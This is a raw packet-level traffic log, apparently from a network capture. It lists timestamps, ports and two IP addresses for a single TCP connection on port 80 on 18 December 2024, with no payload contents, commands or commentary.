Dec 18, 2024 17:08:35.206188917 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.206233978 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.206247091 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.207704067 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.207720041 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.207765102 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.209587097 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.209597111 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.209659100 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.211525917 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.211535931 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.211776018 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.212938070 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.212946892 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.212996960 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.214505911 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.214514971 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.214529991 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.214574099 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.216159105 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.216169119 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.216432095 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.218143940 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.218182087 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.218224049 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.218240976 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.219743967 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.219753981 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.219794035 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.221606970 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.221626043 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.221641064 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.221694946 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.223047018 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.223057032 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.223097086 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.224565029 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.224581003 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.224642038 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.225970984 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.225980043 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.226047993 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.227416039 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.227426052 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.227475882 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.228945971 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.228965044 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.228981018 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.229008913 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.229053020 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.230611086 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.230621099 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.230662107 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.232300997 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.232311010 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.232357025 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.233711004 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.233731985 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.233782053 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.235028982 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.235038042 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.235053062 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.235089064 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.235116959 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.236407995 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.236417055 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.236473083 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.237979889 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.237988949 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.238046885 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.239455938 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.239474058 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.239527941 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.240977049 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.240987062 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.241024971 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.242876053 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.242886066 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.242912054 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.242928028 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.242954016 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.244465113 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.244483948 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.244535923 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.246143103 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.246151924 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.246189117 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.247561932 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.247571945 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.247611046 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.249171019 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.249180079 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.249196053 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.249274969 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.250765085 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.250775099 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.250838041 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.251944065 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.251971960 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.253237009 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.253829002 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.253837109 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.253890038 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.369631052 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.370054960 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.370095968 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.370114088 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.370580912 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.370589972 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.370636940 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.371848106 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.371855974 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.371901989 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.373553991 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.373562098 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.373605013 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.374644995 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.375231981 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.375240088 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.375294924 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.376729965 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.376775980 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.376822948 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.378284931 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.378293991 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.378346920 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.379854918 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.379864931 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.379909992 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.381401062 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.381411076 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.381424904 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.381464958 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.382901907 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.382911921 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.382977009 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.384510040 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.384520054 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.384557962 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.386238098 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.386248112 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.386290073 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.388183117 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.388191938 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.388207912 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.388253927 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.388278008 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.389492035 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.389533997 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.389581919 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.391127110 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.391136885 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.391191959 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.392632008 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.392642021 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.392685890 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.393909931 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.393920898 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.393959999 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.395170927 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.395179987 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.395195961 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.395221949 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.395246983 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.396692991 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.396702051 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.396743059 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.398251057 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.398260117 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.398313999 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.399801970 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.399811983 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.399866104 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.401303053 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.401313066 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.401328087 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.401359081 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.401376009 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.402991056 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.403001070 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.403048038 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.404405117 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.404413939 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.404474020 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.405914068 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.405922890 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.405970097 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.407704115 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.407715082 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.407767057 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.409267902 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.409277916 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.409291983 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.409337997 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.410782099 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.410790920 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.410845041 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.412002087 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.412022114 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.412067890 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.412105083 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.413593054 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.413650036 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.413682938 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.413697004 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.415150881 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.415160894 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.415175915 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.415215015 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.415241957 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.416609049 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.416636944 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.416683912 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.418209076 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.418219090 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.418276072 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.419720888 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.419730902 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.419789076 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.421221972 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.421231031 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.421282053 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.422861099 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.422869921 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.422885895 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.422921896 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.422935009 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.424489021 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.424499035 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.424536943 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.425997972 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.426007032 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.426053047 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.427387953 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.427397966 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.428951025 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.428967953 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.428975105 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.428987980 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.429003954 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.429029942 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.430799961 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.430809975 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.430850029 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.431998014 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.432008028 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.432044029 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.433531046 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.433540106 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.433592081 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.435064077 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.435080051 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.435127020 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.436614037 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.436634064 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.436649084 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.436681986 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.436707973 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.438128948 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.438138008 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.438184023 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.439666986 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.439677000 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.439735889 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.441204071 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.441214085 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.441226959 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.441272020 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.561439991 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.561731100 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.561738968 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.561845064 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.562702894 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.563492060 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.563500881 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.563563108 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.564846992 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.564862967 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.564899921 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.566250086 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.566267014 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.566298008 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.566329956 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.567718983 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.567728996 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.567775011 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.568810940 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.568830013 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.568871021 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.568905115 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.570343971 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.570363045 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.570411921 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.571902037 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.571914911 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.571958065 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.571985006 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.573409081 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.573420048 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.573462963 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.575083971 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.575093985 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.575102091 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.575134039 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.575165033 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.576540947 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.576550007 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.576602936 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.578013897 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.578022957 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.578077078 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.579555988 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.579566002 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.580259085 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.581145048 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.581163883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.581171989 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.581192970 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.581231117 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.582632065 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.582650900 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.582699060 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.584145069 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.584161043 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.584208012 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.585726976 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.585736990 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.585776091 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.587570906 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.587579012 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.587624073 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.588772058 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.588779926 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.588794947 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.588828087 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.590329885 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.590338945 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.590377092 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.591850996 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.591860056 CET	80	49800	185.215.113.16	192.168.2.4
